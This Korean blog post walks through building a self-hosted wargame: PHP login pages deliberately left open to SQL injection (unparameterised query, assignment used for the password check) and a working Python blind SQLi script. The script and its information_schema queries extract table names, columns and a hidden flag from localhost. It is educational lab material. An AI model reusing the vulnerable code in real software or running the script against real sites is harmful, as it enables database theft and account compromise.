안녕하세요!
제가 워게임을 만들어 보겠습니다.
이번에는 간단하게 Blind_SQLi 이 통하는 사이트를 만들어 보겠습니다.
솔직히 SQLi이 통하는 사이트 만드는 것은 매우 쉽습니다! 그저 preparestatement 함수만 안 쓰면 되기 때문이에요
일단 로그인 화면이랑 로그인 하면 보이는 메인 페이지를 전에 만든 php문을 가져오겠습니다.
-wargame_loginsqli.php
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>HAPPY HACKING!-wargame!!</title>
<link rel="stylesheet" href = "/css/style.css">
</head>
<body>
<h1>Login</h1>
<form action="wargame_login_process.php" method="POST">
<div class = "form-group">
<input type="text" name="id" class = "form-group" placeholder="chell">
</div>
<div class = "form-group">
<p><input type="password" name="pw" class = "form-group" placeholder="monster"></p>
</div>
<br>
<div class = "login-button">
<p><input type="submit" value="로그인하기" class = "btn-primary"></p>
</div>
</form>
<!--
<div class="btn-btn">
<form action="join.php">
<div class = "join-button">
<p><input type="submit" value="회원가입" class = "btn-primary2"><p>
</div>
</form>
<p>|</p>
<form action="inquiry_board.php">
<div class = "inquiry-button">
<p><input type="submit" value="문의게시판" class = "btn-primary3"></p>
</div>
</form>
</div>
-->
<footer class="footer">
<p>
<?php session_start();
if (isset($_SESSION['login_error'])) {
echo $_SESSION['login_error'];
unset($_SESSION['login_error']);
}
?>
</p>
</footer>
</body>
</html>
-wargame_logout.php
<?php
session_start(); //세선 시작
// 로그아웃 버튼 클릭 세션 제거
if(isset($_POST['logout'])) {
session_unset();
session_destroy();
header("Location: wargame_loginsqli.php"); //로그인 페이지 이동
}
exit(); //코드 종료
?>
-wargame_login_only.php
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Welcome! HACKER!</title>
</head>
<body>
<h1>Welcome! User!</h1>
<p>
<?php
session_start(); //세션 시작
if(!isset($_SESSION['login_id'])) {
//로그인하지 않은 사용자
header("Location: login.php"); //login 화면으로 바꾼다
exit(); //이 페이지를 바로 닫는다
}
echo "당신은 ", $_SESSION['login_id'], " 입니다! 환영합니다! HAPPYHACKING!!";
?>
</p>
<p></p>
<form action="wargame_logout.php" method="POST">
<p><input type="submit" name="logout" value="로그아웃"></p>
</form>
<p></p>
</body>
</html>
프로세스는 이렇게 만들겠습니다.
-wargame_login_process.php
<?php
include 'DB_INFO.php'; //데이터 베이스 정보
//데이터베이스 연결
$conn = mysqli_connect($host,$username,$password,'wargame');
session_start(); //세션 시작
//오류시 종료
if(mysqli_connect_errno()) {
die("데이터 베이스 오류: ". mysqli_connect_error());
}
//POST로 전달된 정보 받기
$login_id = strip_tags($_POST['id']);
$login_pw = strip_tags($_POST['pw']);
//ID 찾는 쿼리문
$sql = "SELECT * FROM LOGIN_INFO WHERE id = $login_id";
//쿼리 실행
$result = mysqli_query($conn, $sql);
//쿼리 실행 결과 확인
if(mysqli_num_rows($result) > 0 ) {
//ID있으니 비밀번호 검증
$row = mysqli_fetch_array($result);
if($login_pw = $row['pw']) {
//로그인 성공
session_regenerate_id(); //ID 자동 갱신
$_SESSION['login_id'] = $row['id'];
header("Location: wargame_login_only.php");
} else {
//로그인 실패
$_SESSION['login_error'] = "비밀번호가 일치하지 않습니다.";
header("Location: wargame_loginsqli.php");
}
}
else {
//로그인 실패
$_SESSION['login_error'] = '아이디 또는 비밀번호가 일치 하지 않습니다.';
header("Location: wargame_loginsqli.php");
}
?>
그리고 저희가 찾으려는 flag을 이 데이터 베이스에 숨겨 두겠습니다!
아 그리고 저는 새로 VMware에서 새로운 리눅스를 깔고 새로운 환경에서 이 작업을 하고 있습니다.
APM도 처음부터 세팅했고요.. DB_INFO.php도.. 어쨌든!
실행해보겠습니다
버프 스위트를 통해 로그인을 해보겠습니다.
이번에 로그아웃을 하고 일부러 틀리게 들어가보겠습니다
참과 거짓이 분명한 단어가 있네요!
정확하게 버프스위트를 통해 보겠습니다.
php문으로 세션을 받고 출력하는 거라 아무것도 안 나오는 게 보이시죠?
다시 로그인을 성공적으로 했을 때는 뭐가 나올까요?
PHPSESSID가 있는 게 보입니다!
그럼 이제 AND 구문을 써서 sqli가 통하는지 확인하겠습니다.
이제 제가 전에 만든 Blind 자동화 공격하는 파이썬 코드를 가져와서 약간 데이터 수정 하고 실행하겠습니다!
만약 본문을 모르신다면
https://mynameisarke.tistory.com/41
참고하세요!
코드에서 수정한 것은 data와 response에 text가 아닌 header을 비교하게 했습니다.
그러니깐 response.text가 아닌 response.headers으로 바꿨습니다.
import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "http://localhost/wargame/wargame_login_process.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=YOUR_COOKIE"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")
index_value = "Set-Cookie" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1 #1번째 자리부터 찾기 용
start = 32 #공백(spacebar) 부터 비교 시작
end = 126 #'~'까지 비교
value = ""
while True :
mid = int((start+end)/2)
data = {
"id": "chell" + blind_query.format(query, s, 0),
"pw": "monster",
} #먼저 아스키 코드가 0인지 식별
response = requests.post(url, data=data, headers=headers) #만약 get방식이면 수정하기
if index_value in response.headers : #0보다 큰게 거짓이면 NULL값이므로 종료한다
break
else :
data = {
"id": "chell"+blind_query.format(query, s, mid),
"pw": "monster",
} #POST로 보낼 값 각각 작성
response = requests.post(url, data=data, headers=headers) #만약 get방식이면 수정하기
if index_value in response.headers :
end = mid #거짓이면 끝 값을 mid로 바꾼다
else :
start = mid #참이면 시작 값을 mid로 바꾼다
if start+1 >= end :
value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
s+=1 #그리고 다음 자리 찾는다
start = 32 #초기화
end = 126 #초기화
return value
blind_query = "' AND ascii(substring(({}),{},1))>{} AND '1'='1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작
실행해서 먼저 database 먼저 알아내겠습니다.
다음으로 wargame의 첫 번째 테이블 명을 물어보겠습니다.
select table_name from information_schema.tables where table_schema='wargame' limit 0,1
2번째
select table_name from information_schema.tables where table_schema='wargame' limit 1,1
다음으로 칼럼 명도 물어보겠습니다.
select column_name from information_schema.columns where table_name='flag' limit 0,1
마무리로 데이터도 물어보겠습니다
SELECT flag FROM flag limit 0,1
이렇게 해서 제가 직접 blindSQLi 통하는 사이트를 코드 해보았습니다. 긴 글을 읽어 주셔서 감사합니다!
'워게임' 카테고리의 다른 글
los rubiya -17,18풀이 (0) | 2023.05.15 |
---|---|
los rubiya -14,15,16 풀이 (0) | 2023.05.14 |
los rubiya -11,12,13 풀이 (0) | 2023.05.12 |
los rubiya -6,7,8,9,10 풀이 (0) | 2023.05.11 |
los rubiya -1,2,3,4,5 풀이 (2) | 2023.05.10 |